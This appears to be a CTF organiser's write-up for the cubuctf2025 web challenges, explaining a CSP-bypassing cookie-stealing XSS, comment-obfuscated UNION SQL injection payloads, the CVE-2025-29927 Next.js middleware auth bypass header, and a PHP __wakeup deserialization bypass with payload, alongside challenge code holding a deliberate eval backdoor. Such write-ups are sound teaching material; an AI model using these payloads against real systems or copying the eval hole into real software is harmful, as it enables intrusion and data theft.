cubuctf2025出题人wp-WEB

发布于 9 小时前  3 次阅读


cubuctf2025出题人wp-WEB

Yukiyuki_csp

进入页面可见一个登录页

image-20250518203407569

路径扫描到/log可以发现有一个root用户一直在访问留言板

(注:这里疏忽了,没加上root的访问路径可能会导致师傅们认为root是访问的登录页)

image-20250518203951950

弱密码爆破出账号为admin

密码www

进入后注意到存在xss但是被csp拦截

image-20250506040457616

可以先看哪些没被拦

image-20250518202434350

允许从自己站点加载 <iframe> ,那就可以考虑有什么页面

回到登录页可以注意到提示中提到的登录失败记录会回显用户名

尝试后发现无拦截

image-20250506040956251

考虑在留言板用<iframe src="/login"></iframe>来同源iframe绕过csp

然后登录界面写一个提交cookiexss

<script>
fetch('/board', {
  method: 'POST',
  headers: {'Content-Type':'application/x-www-form-urlencoded'},
  body: 'message=' + encodeURIComponent(document.cookie)
});
</script>

再返回留言板刷新几次就有flag

image-20250518203503916

这题的失败点在于

登录界面的xss会被师傅们第一时间察觉

导致师傅们会结合log一直在登录界面去尝试获取bot的cookie

在这里向师傅们道歉

Sql_No_map...?

进入点几篇文章可以发现id=1

尝试一下后常见的fuzz也可以发现sql注入多构造一下也能猜出来屏蔽了什么要怎么绕过

进入看下前端有什么信息

image-20250506180212686

根据index.php源码显示到其引用的lib.php

image-20250506180254401

知道waf后简单的注释符绕过or and 绕过

报错注入

image-20250506180700589

#获取所有数据库名

?id=-1/**/UNION/**/SELECT/**/GROUP_CONCAT(schema_name),0/**/FROM/**/information_schema.schemata#

#获取指定数据库下的所有表名

?id=-1/**/UNION/**/SELECT/**/GROUP_CONCAT(table_name),0/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema='ctf'#

#获取目标表的所有字段名

?id=-1/**/UNION/**/SELECT/**/GROUP_CONCAT(column_name),0/**/FROM/**/information_schema.columns/**/WHERE/**/table_name='FLAG'#

#读取 FLAG 表的 `k`, `v` 字段

?id=-1/**/UNION/**/SELECT/**/GROUP_CONCAT(CONCAT(k,0x3a,v)),0/**/FROM/**/FLAG#

解法二

直接Sqlmap换个ua头也能出XD:

image-20250518203756006

以下为Lwrzgo师傅出的cve题

🎭 Mutsumi or Mortis?

现在你将扮演 若葉睦 的同学兼朋友 Soyo ,你在发现异样后找到她,请尝试从被 Mortis 抢占的系统中寻回属于 Mutsumi 的人格碎片Flag。首先,你觉得可以从找到防线的漏洞作为突破点,于是拿起了另一只称作中间件的舞鞋放在耳边尝试和她沟通……

根据题目所给的信息,可以知道是中间件漏洞,首先用浏览器插件,或者通过分析源码附件的dockerfile,知道这个使用的是Next.js-15.2.2

image-20250515132622496

image-20250515132824051

分析文件结构,知道Flag存在于/admin路由,我们只需用权限访问/admin就能获取Flag,但是访问自动跳转403

image-20250515132912829

如何绕过呢?我们搜索发现存在一个CVE-2025-29927(Next.js中间件鉴权绕过)的漏洞

https://vercel.com/blog/postmortem-on-next-js-middleware-bypass

原理 :中间件未正确校验 x-middleware-subrequest 请求头,导致攻击者可绕过鉴权逻辑。

通过构造特殊HTTP请求头,访问受保护的 /admin 页面获取Flag。

要利用此漏洞,你可以在请求中添加 x-middleware-subrequest 请求头,其值为middleware:middleware:middleware:middleware:middleware。Next.js 中间件会错误地处理此请求头并绕过身份验证检查:

可见,没有传入任何身份认证信息即可成功访问到admin。

image-20250515133444298

碎碎念:这题还有个非预期的解法,刚开始设计题目的时候没有打算放出源码附件,就写了个简单的判断逻辑,后面验证题目的时候队友觉得有点难想到这个CVE,所以干脆不改直接把源码放出来

如下:

1fceefec823e04dec31153e1df3e1055

我们看中间件的逻辑,发现isAdmin有值,直接判断为假,所以设置个cookie也可以绕过

✉️ Poem:Imprisoned XII

深夜中, 三角初华丰川祥子(Sakiko) 写下歌词,却因“卑微”而难以把歌词表达,只有解开初华心中的隔阂,才能让这些词汇完整回响。现在你将扮演丰川祥子的队友 若麦 ,你发现了这一切,请尝试找到并提交隐藏在初华内心中的词韵Flag,平台解析出歌词后,发送给祥子……

<?php
//歌词来源:网易云
highlight_file(__FILE__);
error_reporting(0);

// 夜幕下,初华轻声低语:
echo "描绘扭曲天空,我不禁去遐想\n";
echo "愿无羽翼的你,堕临至我身旁\n";

class FalseSight {
    private $hue;
    public function __toString() {
        return "IslandMirage";
    }
    public function __wakeup() {
        // 虚影掠过,声音瞬间消散
        echo "我不幸触碰了,神圣高洁之物…\n";
        trigger_error("Fading echo...", E_USER_NOTICE);
    }
}

function phantom_melody($data) {
    // 虚语解析,却始终听不清
    echo "只求你在今夜,成为我的神话…\n";
    return base64_decode(str_rot13($data));
}

$illusory_song = "flag{faux_melody}";

if (isset($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], 'CRYCHIC') === false) {
    die("尝试挽回,祥子拒绝:仅限 CRYCHIC 成员\n");
}

$cmd = $_GET['cmd'];
if ($cmd) {
    // 幕后演奏,暗号解码
    echo "看吧,你已无路可逃…\n";
    eval(str_rot13($cmd));
}

class SongGazer {
    private $realName   = "Hatsune";
    public  $soundState = "muted";
    private $melody     = "";

    public function __construct() {
        // 接近祥子时,初华心中涌出“音律”
        echo "我清楚地知晓,但现在就悄悄,与君共度奇妙时光…\n";
        $this->melody = file_get_contents('flag.php');
    }

    public function __wakeup() {
        // 想要喊出时,声音被静音,旋律丢失
        echo "将逐渐虚弱的你,紧紧关住…\n";
        $this->soundState = "silenced";
        $this->melody     = "";
    }

    public function __destruct() {
        // 当声音重归通畅,旋律才得以完全绽放
        if ($this->soundState === "resonant" && $this->melody !== "") {
            $this->melody = file_get_contents('/flag.php');
            echo "我如痴如狂…\n";
            echo $this->melody;
        }
    }
}

set_exception_handler(function ($e) {
    echo "祥子,你迷失了吗?\n" . md5($e->getMessage()) . "\n";
    exit;
});

try {
    if (rand(0, 1)) {
        throw new Exception("Cosmic static");
    }
} catch (Exception $e) {
}

if(isset($_GET['payload'])){
    unserialize($_GET['payload']);
}

分析发现,考察代码审计以及 PHP反序列化漏洞
首先看到PHP版本<5.6.25,可以考虑绕过Wakeup

反序列化漏洞:CVE-2016-7124

版本限制:PHP5 <5.6.25 PHP7 <7.0.10

产生原因:如果存在__wakeup方法,调用unserialize()方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值,大于真实属性个数,会跳过__wakeup方法

image-20250515134134875

构造POP链

<?php
class SongGazer {
    private $realName = "Hatsune";
    public $soundState = "muted";
    private $melody;
}

$obj = new SongGazer();
$obj->soundState = "resonant";

$ser = serialize($obj);
echo "序列化POP:\n" . $ser . "\n";
?>

得到(注意空白符要换成%00):

O:9:"SongGazer":3:{s:19:"%00SongGazer%00realName";s:7:"Hatsune";s:10:"soundState";s:8:"resonant";s:17:"%00SongGazer%00melody";N;}

3改成4,get提交,记得修改HTTP_USER_AGENTCRYCHIC

?payload=O:9:"SongGazer":4:{s:19:"%00SongGazer%00realName";s:7:"Hatsune";s:10:"soundState";s:8:"resonant";s:17:"%00SongGazer%00melody";N;}

image-20250515135810255

Flag在元素选项卡放着

image-20250515135855615

另外,考虑到可能没有找到 wakeup 绕过方法的,靠简单的代码审计一句话漏洞也能得到 flag

$cmd = $_GET['cmd'];
if ($cmd) {
    // 幕后演奏,暗号解码
    echo "看吧,你已无路可逃…\n";
    eval(str_rot13($cmd));
}
QQ:2219349024
最后更新于 2025-05-27